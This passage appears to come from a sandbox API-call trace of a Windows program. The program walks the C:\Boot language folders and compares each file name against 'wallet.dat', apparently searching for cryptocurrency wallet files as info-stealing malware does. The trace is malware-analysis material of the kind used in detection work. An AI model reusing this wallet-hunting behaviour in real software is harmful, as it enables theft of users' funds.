lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0266.444] lstrcmpW (lpString1="chs_boot.ttf", lpString2="wallet.dat") returned -1 [0266.444] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0266.444] lstrcmpW (lpString1="cht_boot.ttf", lpString2="wallet.dat") returned -1 [0266.444] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0266.444] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="wallet.dat") returned -1 [0266.444] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0266.444] lstrcmpW (lpString1="kor_boot.ttf", lpString2="wallet.dat") returned -1 [0266.444] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0266.444] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="wallet.dat") returned 1 [0266.444] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0266.445] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.445] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.445] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.446] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.446] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0266.446] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0266.446] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0266.446] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.446] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="fr-FR" | out: pszDest="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0266.446] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.446] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.446] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.446] lstrcmpW (lpString1="C:\\Boot\\fr-FR", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.446] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\fr-FR" | out: psz1="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0266.446] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\fr-FR" | out: psz1="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0266.446] lstrlenW (lpString="\\*") returned 2 [0266.446] lstrlenW (lpString="C:\\Boot\\fr-FR") returned 13 [0266.446] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.447] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*" (normalized: "c:\\boot\\fr-fr\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.448] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.448] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.448] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.448] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.448] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.448] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.448] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.448] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.448] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.449] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.449] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.449] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.450] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.450] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0266.450] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0266.450] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0266.450] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.450] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="hu-HU" | out: pszDest="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0266.450] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.450] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.450] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.450] lstrcmpW (lpString1="C:\\Boot\\hu-HU", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.450] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\hu-HU" | out: psz1="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0266.450] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\hu-HU" | out: psz1="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0266.450] lstrlenW (lpString="\\*") returned 2 [0266.450] lstrlenW (lpString="C:\\Boot\\hu-HU") returned 13 [0266.450] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.451] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*" (normalized: "c:\\boot\\hu-hu\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.451] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.451] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.451] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.451] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.451] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.451] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.452] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.452] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.452] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.452] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.452] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.452] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.453] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.453] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="it-IT", cAlternateFileName="")) returned 1 [0266.453] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0266.453] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0266.453] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.453] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="it-IT" | out: pszDest="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0266.453] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.453] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.453] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.453] lstrcmpW (lpString1="C:\\Boot\\it-IT", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.453] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\it-IT" | out: psz1="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0266.453] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\it-IT" | out: psz1="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0266.453] lstrlenW (lpString="\\*") returned 2 [0266.453] lstrlenW (lpString="C:\\Boot\\it-IT") returned 13 [0266.453] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.454] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*" (normalized: "c:\\boot\\it-it\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.458] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.458] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.458] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.458] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.458] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.459] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.459] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.459] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.459] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.459] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.459] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.460] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.471] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.471] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0266.471] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0266.471] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0266.471] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.471] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="ja-JP" | out: pszDest="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0266.471] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.471] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.471] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.471] lstrcmpW (lpString1="C:\\Boot\\ja-JP", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.471] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\ja-JP" | out: psz1="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0266.471] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\ja-JP" | out: psz1="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0266.471] lstrlenW (lpString="\\*") returned 2 [0266.471] lstrlenW (lpString="C:\\Boot\\ja-JP") returned 13 [0266.471] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.472] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*" (normalized: "c:\\boot\\ja-jp\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.472] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.473] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.473] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.473] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.473] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.473] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.473] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.473] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.473] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.473] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.474] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.478] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.479] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.479] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0266.479] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0266.479] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0266.479] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.479] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="ko-KR" | out: pszDest="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0266.479] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.479] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.479] lstrcmpW (lpString1="C:\\Boot\\ko-KR", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.479] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\ko-KR" | out: psz1="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0266.479] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\ko-KR" | out: psz1="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0266.479] lstrlenW (lpString="\\*") returned 2 [0266.479] lstrlenW (lpString="C:\\Boot\\ko-KR") returned 13 [0266.479] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.480] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*" (normalized: "c:\\boot\\ko-kr\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.481] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.481] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.481] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.481] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, 